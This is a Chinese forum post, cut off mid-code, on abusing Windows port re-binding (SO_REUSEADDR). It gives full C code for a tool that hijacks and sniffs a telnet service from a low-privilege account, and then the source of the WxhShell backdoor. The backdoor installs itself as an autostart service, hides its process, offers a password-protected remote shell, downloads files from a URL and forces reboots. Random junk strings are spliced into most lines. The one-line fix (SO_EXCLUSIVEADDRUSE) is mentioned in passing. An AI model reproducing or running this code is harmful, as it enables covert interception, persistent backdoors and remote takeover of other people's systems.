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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )Z)Gb~G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _!,Ees=b  
@qEUp7W.?  
  saddr.sin_family = AF_INET; in6*3C4  
HoK+g_9~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]kd:p*U6P  
p<3<Zk 7~0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); inh J|pe"  
A9;,y'm^8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $O%"[w  
E+lr{~  
  这意味着什么?意味着可以进行如下的攻击: Jv}&8D  
f-p$4%(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -iKoQkHt  
5Dzf[V^]`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $ ^@fV=e  
3 &mpn,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ft38)T"2R\  
:w+vi 7l$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mm;sf  
w!'y,yb%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .N( X. C  
`]^W#6l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n'0r (  
> l]Ble  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ft?eqDS1  
V>/,&~0  
  #include |<'6rJ[i>  
  #include U.X` z3q  
  #include `][vaLd`Q  
  #include    4}s'xMT!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YxrMr9>l1  
  int main() ` FOCX;  
  { 4XAs^>N+  
  WORD wVersionRequested; V0BT./ B\<  
  DWORD ret; D|ra ;d  
  WSADATA wsaData; (cyvE}g  
  BOOL val; 6l[ v3l"t  
  SOCKADDR_IN saddr; `So/G  
  SOCKADDR_IN scaddr; zXD/hM  
  int err; h8X[*Wme  
  SOCKET s; XwFTAaZ  
  SOCKET sc; .]s? 01Z  
  int caddsize; b $yIM  
  HANDLE mt; -DK6(<:0  
  DWORD tid;   %P D}VF/Y  
  wVersionRequested = MAKEWORD( 2, 2 ); uVKe?~RC  
  err = WSAStartup( wVersionRequested, &wsaData ); `S0`3q}L3%  
  if ( err != 0 ) { _QEw=*.<  
  printf("error!WSAStartup failed!\n"); ;|0P\3  
  return -1; un4fnoc  
  } FSm.o?>  
  saddr.sin_family = AF_INET; 6aOyI ;Ux  
   /QWXEL/M=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y[]I!Bc  
:)i,K>y3i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NU3TXO  
  saddr.sin_port = htons(23); z~3GgR"1d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `+rwx  
  { 5:jme$BI  
  printf("error!socket failed!\n"); ZuybjV1/f6  
  return -1; [N Afy~X*  
  } rZ|p{ym  
  val = TRUE; TY'c'u,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [T,Hpt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2x9.>nwhb  
  { W=3#oX.GsU  
  printf("error!setsockopt failed!\n"); #4./>}G  
  return -1; , ^K.J29  
  } ZE-vroh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x"g)pGsT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S3l^h4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wU>Fz*  
/,\U*'-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QS!Z*vG  
  { 8lzoiA_9  
  ret=GetLastError(); !+A%`m  
  printf("error!bind failed!\n"); )obgEJ7Y`l  
  return -1; H`'a|Y  
  } fLqjBG]<  
  listen(s,2); T.3{}230<  
  while(1) 9 :Oz-b  
  { VnVBA-#r|  
  caddsize = sizeof(scaddr); ^3BPOK[*gB  
  //接受连接请求 i%[gNh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *asv^aFpS  
  if(sc!=INVALID_SOCKET) iiQ q112`  
  { ?&;_>0P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =PciLh  
  if(mt==NULL) c8YbBdk'  
  { qFwt^w  
  printf("Thread Creat Failed!\n"); icIn>i<m  
  break; Zp3-Yo w2  
  } >h)kbsSU0z  
  } {0w2K82  
  CloseHandle(mt); f)j*P<V  
  } @fYVlHT%E  
  closesocket(s); r dSL  
  WSACleanup(); uxB)dS  
  return 0; ~abyjM  
  }   IHdA2d?.]  
  DWORD WINAPI ClientThread(LPVOID lpParam) \c CH/  
  { 38D5vT)n  
  SOCKET ss = (SOCKET)lpParam; +/Y2\ s  
  SOCKET sc; S'8+jY  
  unsigned char buf[4096]; +^+'.xQ  
  SOCKADDR_IN saddr; P%lD9<jED  
  long num; s{R ,- \_  
  DWORD val; vhbHt_!u&  
  DWORD ret; 3a.!9R>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \? )S {  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `DF49YP"~  
  saddr.sin_family = AF_INET; /0H}-i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gmi? xGn  
  saddr.sin_port = htons(23); .FHk1~\%z^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G@#lf@M]  
  { ofV0L  
  printf("error!socket failed!\n"); /uX*FZ  
  return -1; D$ K'Qk  
  } /nQuM05*Z  
  val = 100; 6"* <0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E&zf<Y  
  { #jW-&a  
  ret = GetLastError(); #i@f%Bq-  
  return -1; TDDMx |{  
  } Ajm!;LA[jO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) } LS8q  
  { EN\cwa#FU  
  ret = GetLastError(); }n4 T!N  
  return -1; 0(wu  
  } (Fon!_$:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~q}L13^k  
  { G |KA!q  
  printf("error!socket connect failed!\n"); !i~(h&z  
  closesocket(sc); G|f9l?p  
  closesocket(ss); cVW7I  
  return -1; =yZq]g6Q  
  } Zh;wQCDj  
  while(1) &Y?t  
  { 88v8lt;R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iW(LD1~7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `!Z?F]):G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '~&W'='b;  
  num = recv(ss,buf,4096,0); @6yc^DAA  
  if(num>0) ;6P>S4`w  
  send(sc,buf,num,0); 4F|79U #  
  else if(num==0) @d0f+9d  
  break; K<*6E@+i  
  num = recv(sc,buf,4096,0); aE5-b ub c  
  if(num>0) F1stRZ1ZI  
  send(ss,buf,num,0); "ktuq\a@  
  else if(num==0) KJ'ID  
  break; qx5`lm~L  
  } 'Gl~P><e  
  closesocket(ss); z1Bi#/i  
  closesocket(sc); `^SRg_rH=`  
  return 0 ; |T""v_q  
  } 'JMW.;Lh?X  
yO1 7C  
g,._3.D  
========================================================== YUEyGhkMV{  
6/S. sj~  
下边附上一个代码,,WXhSHELL y|ZL< L  
U_"!\lI_yg  
========================================================== Fn@`Bi?#q  
d j\Z}[  
#include "stdafx.h" XYzaSp=bb  
Gn8 sB  
#include <stdio.h> _GG\SWm  
#include <string.h> AhN3~/u%7  
#include <windows.h> V'j+)!w5  
#include <winsock2.h> d-_V*rYU  
#include <winsvc.h> 4n1g4c-   
#include <urlmon.h> _M`ZF*o=c  
"iK= 8  
#pragma comment (lib, "Ws2_32.lib") q-<DYVG+  
#pragma comment (lib, "urlmon.lib") 6P{^j  
?Tc#[B  
#define MAX_USER   100 // 最大客户端连接数 E)$>t}$  
#define BUF_SOCK   200 // sock buffer *I(6hB  
#define KEY_BUFF   255 // 输入 buffer 3@I0j/1#k1  
/>S^`KSTM  
#define REBOOT     0   // 重启 pNb2t/8%%  
#define SHUTDOWN   1   // 关机 Sk|e#{  
)*]A$\Oc[  
#define DEF_PORT   5000 // 监听端口 `xBoNQai  
p3U)J&]c6  
#define REG_LEN     16   // 注册表键长度 Rsfb?${0G  
#define SVC_LEN     80   // NT服务名长度 M9W zsWM  
8<C*D".T$  
// 从dll定义API nXRa_M(z8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L5FOlzn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [_'A(.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); | ky40[C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~JXz  
2xLtJR4L  
// wxhshell配置信息 cb9-~*1  
struct WSCFG { ?.VKVTX^  
  int ws_port;         // 监听端口 _cs(f<>oCO  
  char ws_passstr[REG_LEN]; // 口令 T o["o!(;z  
  int ws_autoins;       // 安装标记, 1=yes 0=no }d?;kt  
  char ws_regname[REG_LEN]; // 注册表键名 X vaIOt>A  
  char ws_svcname[REG_LEN]; // 服务名 }i~k:kmV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 juOStTq<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !Ap5Uwd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xx`YBn~"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @.W;3|~qc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M 5sk&>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OS,!`8cw  
vdq=F|&  
}; uslu-|b!%  
"@nH;Xlq  
// default Wxhshell configuration e-ta7R4  
struct WSCFG wscfg={DEF_PORT, -"I$$C  
    "xuhuanlingzhe", A O:F*%Q u  
    1, c#N4XsG,  
    "Wxhshell", H[~ D]RG}'  
    "Wxhshell", "#O9ij  
            "WxhShell Service", d&Nnp jH}c  
    "Wrsky Windows CmdShell Service", MQ!4"E5"j  
    "Please Input Your Password: ", epiviCYC  
  1, 05LkLB  
  "http://www.wrsky.com/wxhshell.exe", n= <c_a)Nb  
  "Wxhshell.exe" K<J,n!zc  
    }; U80=f2  
,j*9)  
// 消息定义模块 1VgGF^cYR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W Ej{2+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J 4gtm"2)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uy hh"[  
char *msg_ws_ext="\n\rExit."; {^dq7!  
char *msg_ws_end="\n\rQuit."; U4!KO;Jc  
char *msg_ws_boot="\n\rReboot..."; dS6 $  
char *msg_ws_poff="\n\rShutdown..."; >.Gmu  
char *msg_ws_down="\n\rSave to "; ?kO.>o  
g5nJ0=9  
char *msg_ws_err="\n\rErr!";  =1Sny7G  
char *msg_ws_ok="\n\rOK!"; 0/)2RmF  
>N|?>M*  
char ExeFile[MAX_PATH]; D m0)%#  
int nUser = 0; e(8hSVcl4  
HANDLE handles[MAX_USER]; h< r(:.%!}  
int OsIsNt; A'jvm@DvQI  
,m#  
SERVICE_STATUS       serviceStatus; ni?k' \\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Lm4`O %  
J>A9]%M  
// 函数声明  +|LM"  
int Install(void); 5C!zEI)  
int Uninstall(void); ^N/d`IAjv  
int DownloadFile(char *sURL, SOCKET wsh); r ]7: ?ir  
int Boot(int flag); wo0j/4o  
void HideProc(void); K KB+o)*W  
int GetOsVer(void); 6MVu"0#  
int Wxhshell(SOCKET wsl); sQ}|Lu9hZ  
void TalkWithClient(void *cs); 3xy2ZYw  
int CmdShell(SOCKET sock); Ah2 {kK  
int StartFromService(void); &gp&i?%X9b  
int StartWxhshell(LPSTR lpCmdLine); i{6&/TBnr  
Vg NB^w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L/ 7AGR|;C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ur])*#  
,4Q4{Tx  
// 数据结构和表定义 YCDH0M  
SERVICE_TABLE_ENTRY DispatchTable[] = ZHNL ~=r}  
{ |P>7C  
{wscfg.ws_svcname, NTServiceMain}, , MXU]{  
{NULL, NULL} T<B}Z11R  
}; o.ZR5`.  
!_ W/p`Tc  
// 自我安装 B%8@yS  
int Install(void) =%m{|HQ`  
{ 'f6H#V*C  
  char svExeFile[MAX_PATH]; @[g7\d  
  HKEY key; uY.Ns ?8  
  strcpy(svExeFile,ExeFile); A08kwYxiW  
G(7%*@SX  
// 如果是win9x系统,修改注册表设为自启动 E y:68yU  
if(!OsIsNt) { tB4mhX|\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9f! M1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N9!L8BBaK  
  RegCloseKey(key); tDRR3=9pX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]6e(-v!U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i#la'ICwJ  
  RegCloseKey(key); QCb D^  
  return 0; %R >n5m  
    } %M iv8  
  } ,-Hj  
}  ;2C  
else { 5GM-*Ak@  
,>-jZtm  
// 如果是NT以上系统,安装为系统服务 !h.hJt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p^8a<e?f~f  
if (schSCManager!=0) xxur4@p!  
{  8oJl ]  
  SC_HANDLE schService = CreateService y > =Y  
  ( uN)c!='I  
  schSCManager, {32m&a  
  wscfg.ws_svcname, 7+P;s,mi7  
  wscfg.ws_svcdisp, M{L- V  
  SERVICE_ALL_ACCESS, s`$}xukT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *6?mZ*GYY  
  SERVICE_AUTO_START,  i"<W6  
  SERVICE_ERROR_NORMAL, jfMkN  
  svExeFile, qx ki  
  NULL, VW\S>=O99  
  NULL, b$b;^nly  
  NULL,  WwB_L.{  
  NULL, [OCjYC`  
  NULL G%I .u  
  ); ]Kt@F0U<o  
  if (schService!=0) TLsF c^X  
  { {5Bj*m5  
  CloseServiceHandle(schService); |`o|;A]  
  CloseServiceHandle(schSCManager); bo|THS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1D 'r;`z  
  strcat(svExeFile,wscfg.ws_svcname); 8{ZTHY -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !'N@ZZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m54>}  
  RegCloseKey(key); #4Z e2T|  
  return 0; 1b~21n  
    } #+ch  
  } @S@VsgQ%3Z  
  CloseServiceHandle(schSCManager); h r];!.Fv  
} !.'D"Me>  
} xqX3uq  
A`uHZCwJ5  
return 1; r &.~ {  
} T_S3_-|{==  
v*!N}1+J  
// 自我卸载 +;~N; BT  
int Uninstall(void) "s0,9; }  
{ 6Hnez@d  
  HKEY key; ?z.?(xZ 6  
!`e`4y*N  
if(!OsIsNt) { v^JzbO~|gj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |#_p0yPy  
  RegDeleteValue(key,wscfg.ws_regname); w x]?D%l  
  RegCloseKey(key); ;<M}ZL@m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ikdj?"+O  
  RegDeleteValue(key,wscfg.ws_regname); gkd4)\9  
  RegCloseKey(key); gk|>E[.  
  return 0; m8L *LB  
  } KM;H '~PZi  
} A^,E~Z!x  
} Pdf-2 Tx  
else { ~LuGfPO^  
&\ 9%;k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f- XUto  
if (schSCManager!=0) )7 Mss/2T  
{  g!}]FQBb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )Jjp^U3Ub  
  if (schService!=0) ?SNacN@r  
  { u1 Q;M`+>  
  if(DeleteService(schService)!=0) { +ALrHFG  
  CloseServiceHandle(schService); nz3*s#k\-  
  CloseServiceHandle(schSCManager); ~s+vJvWz  
  return 0; GY%5N= u  
  } v^ ^Ibv  
  CloseServiceHandle(schService); +KbkdY Z  
  } b,^ "-r  
  CloseServiceHandle(schSCManager); H1c8]}  
} R$awo/'^  
} YIRe__7-NU  
n}UJ - \$  
return 1; TX=894{nGh  
} _p6 r5Y  
5.\p]>|G1  
// 从指定url下载文件 |aP`hVm  
int DownloadFile(char *sURL, SOCKET wsh) ;d}>8w&tfy  
{ Z4i))%or  
  HRESULT hr; x:Q\pZ  
char seps[]= "/"; \1Y|$:T/  
char *token; kf'(u..G  
char *file;  $U?]^  
char myURL[MAX_PATH]; Ef`'r))  
char myFILE[MAX_PATH]; ``CM7|)>`  
7"'RE95  
strcpy(myURL,sURL); ~-k , $J?7  
  token=strtok(myURL,seps); #//xOL3J  
  while(token!=NULL) &9flNoNR9  
  { th73eC'  
    file=token; ^W$R{`  
  token=strtok(NULL,seps); x6,ozun  
  } >1`4]%  
eE'P)^KV  
GetCurrentDirectory(MAX_PATH,myFILE); _O}m0c   
strcat(myFILE, "\\"); 2"G9?)d9  
strcat(myFILE, file); { YQS fk  
  send(wsh,myFILE,strlen(myFILE),0); p?L%'  
send(wsh,"...",3,0); (e'8>Pv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R Th=x.  
  if(hr==S_OK) O8 .iP+  
return 0; v's1 &%sM  
else D;P=\i>9-  
return 1; /''=V.-N  
f!kZyD7  
} )l`Ks  
+A?P4}  
// 系统电源模块 Bug.>ln1  
int Boot(int flag) vSHPN|*  
{ d3q%[[@  
  HANDLE hToken; xmnBG4,f  
  TOKEN_PRIVILEGES tkp; F:m6Mf7L  
D=^&?@k<  
  if(OsIsNt) { *1EmK.-'u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _$R=F/88  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >h8m)Q  
    tkp.PrivilegeCount = 1; ,^G+<T6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jpduk&u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b3%x&H<j  
if(flag==REBOOT) { MZ}0.KmaZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T */I4"  
  return 0; r{.pXf  
} }OEL] 5  
else { i!2k f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |aLK_]!  
  return 0; ow \EL  
} a"-uJn  
  } `"65 _?B i  
  else { ^"7- `<J  
if(flag==REBOOT) { 8p 4[:M@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Az@@+?,%Y  
  return 0; X[$h &]  
} he~8V.$  
else { $\ZWQct  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z6U'"T"a  
  return 0; 4tkT\.  
} \C$e+qb~{  
} In1{&sS  
B]tj0FB`-*  
return 1; RVA ku  
} _b<;n|^  
KyrZ&E.`  
// win9x进程隐藏模块 OvT[JpV  
void HideProc(void) 9.(|ri  
{ ,+df=>$W  
AM=,:k$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )ItABl[{  
  if ( hKernel != NULL ) oIO@#   
  { b\JU%89  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F?'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .bY>++CAPA  
    FreeLibrary(hKernel); LC]0c)v#  
  } /4(HVua  
=!L}/Dl  
return; L91vp'+2  
} f#&z m} t  
a_!H_J  
// 获取操作系统版本 N & b3cV  
int GetOsVer(void) U3_O}X+  
{ *eHa4I  
  OSVERSIONINFO winfo; |?J57(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <B>qE a_I  
  GetVersionEx(&winfo); *=oO3c0|b,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4AEw[(t  
  return 1; 'GezIIaH  
  else Jd/d\P  
  return 0; $B?8\>_?  
} EeMKo  
jywS<9c@  
// 客户端句柄模块 0p.MH~mx  
int Wxhshell(SOCKET wsl) U+'zz#0qN  
{ 0&)6mO  
  SOCKET wsh; Wi=zu[[qc  
  struct sockaddr_in client; mTsyVji8  
  DWORD myID; k~AtnI  
i ZPNss  
  while(nUser<MAX_USER) F_0D)H)N@  
{ h;vY=r-  
  int nSize=sizeof(client); IT:WiMDQ}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CN(-Jd.b  
  if(wsh==INVALID_SOCKET) return 1; Ud+,/pE>FA  
/1Gmga5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #W8F_/!n|  
if(handles[nUser]==0) oH17!$Fly  
  closesocket(wsh); 2p9^ =  
else Y7+c/co  
  nUser++; .f0qgmIyL  
  } hpXW t Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9nVb$pfe#  
/[lEZ['^  
  return 0; %Qz<Lk">.  
} ;76+J)  
64mh.j  
// 关闭 socket 7*{l\^ism;  
void CloseIt(SOCKET wsh) o5J6Xi0+  
{ i. )^}id  
closesocket(wsh); ].d%R a:{  
nUser--; 517"x@6Q  
ExitThread(0); cZ)JvU9]  
} ]v}W9{sY  
 Ps.xY;Y  
// 客户端请求句柄 FVkl# Qy~  
void TalkWithClient(void *cs) oJNQdW[  
{ Ns YEBT7f  
, poc!n//  
  SOCKET wsh=(SOCKET)cs; ]#4kqj}  
  char pwd[SVC_LEN]; q !9;JrX  
  char cmd[KEY_BUFF]; 00D.Jn  
char chr[1]; ;bG?R0a  
int i,j; jMBM qQNU  
?J + jv  
  while (nUser < MAX_USER) { #Pk{emYW  
;{0alhMZ  
if(wscfg.ws_passstr) { 5cf?u3r!qJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Pn"nkpML  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]e-QNI  
  //ZeroMemory(pwd,KEY_BUFF); s%y<FXUj  
      i=0; j~Fd8]@  
  while(i<SVC_LEN) { [Y!HQ9^LEp  
XM5)|D  
  // 设置超时 6<@+J  
  fd_set FdRead; 9c4p9b!  
  struct timeval TimeOut; >lM/\HO2  
  FD_ZERO(&FdRead); {hN\=_6*EW  
  FD_SET(wsh,&FdRead); m4h)Wq  
  TimeOut.tv_sec=8; An#[ +?  
  TimeOut.tv_usec=0; b=S"o )>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uSYI X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y*pXbztP  
V?*fl^f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oto8?4[n  
  pwd=chr[0]; O7IYg;  
  if(chr[0]==0xd || chr[0]==0xa) { g&$5!ifgi  
  pwd=0; KsTGae;ds  
  break; q p}2  
  } HfH+U&  
  i++;  1H.;r(c  
    } ~]no7O4  
^W=hs9a+F  
  // 如果是非法用户,关闭 socket /L2ZI1v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KM )MUPr  
} cXt&k  
|1 qrU(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !XjZt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <t!0{FJ  
%"c;kvw  
while(1) { Mu:zWLM*M  
?r(vXq\  
  ZeroMemory(cmd,KEY_BUFF); &S*{a  
|O)ZjLx  
      // 自动支持客户端 telnet标准   B>'J5bZsw  
  j=0; mpD.x5jm<  
  while(j<KEY_BUFF) { h`! 4`eI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GGwwdB\x'  
  cmd[j]=chr[0]; Yur}<>`(  
  if(chr[0]==0xa || chr[0]==0xd) { D@ sMCR  
  cmd[j]=0; n%\\1  
  break; K!(WcoA&2i  
  } C$q-WoTM(  
  j++; a}` M[%d7  
    } um]N]cCD`  
d< XY"Y%  
  // 下载文件 `0W"[BY  
  if(strstr(cmd,"http://")) { `lm'_~=`&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y:+:>[F  
  if(DownloadFile(cmd,wsh)) %r6_['T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aBQ--Sz  
  else G+sB/l"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~7j-OWz9  
  } o6 NmDv5  
  else { @|<nDd{2  
%vf;qVoA~  
    switch(cmd[0]) { hiVDN"$$  
  hx%UZ<a  
  // 帮助 0 )PZS>  
  case '?': { (?uK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aH%tD!%,o  
    break; Dz.kJ_"Ro  
  } NI:OL  
  // 安装 uCW}q.@4  
  case 'i': { D5@}L$ u  
    if(Install()) |@b|Q,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?vD<_5K; I  
    else d_:tiHw$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4E!Pxjl3a  
    break; gBI?dw  
    } /;Cx|\  
  // 卸载 N{RHbSa(  
  case 'r': { nWYfe-zQxg  
    if(Uninstall()) cbou1Ei   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uVZm9Sp  
    else JKp@fQT *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?JRfhJ:j  
    break; 4u|6^ wu.I  
    } biV|W@JM  
  // 显示 wxhshell 所在路径 #Sg/  
  case 'p': { FDFVhcr  
    char svExeFile[MAX_PATH]; M>RLS/r>d  
    strcpy(svExeFile,"\n\r"); 23;\l   
      strcat(svExeFile,ExeFile); eon(C|S7eK  
        send(wsh,svExeFile,strlen(svExeFile),0); Z^A(Q>{e  
    break; h9c7P@29  
    } =&4eW#{LuH  
  // 重启 ;F,6]LH!  
  case 'b': { -jTK3&5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >i1wB!gc8  
    if(Boot(REBOOT)) A}pe>ja   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [daR)C  
    else { LWM& k#i  
    closesocket(wsh); 86&r;c:  
    ExitThread(0); R*dXbI&,e  
    } Ax!@vL&@  
    break; TxkvHiq2  
    } Bt\V1)  
  // 关机 I.6#>=  
  case 'd': { =`(\]t"I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^=cX L  
    if(Boot(SHUTDOWN)) /xA`VyHO  
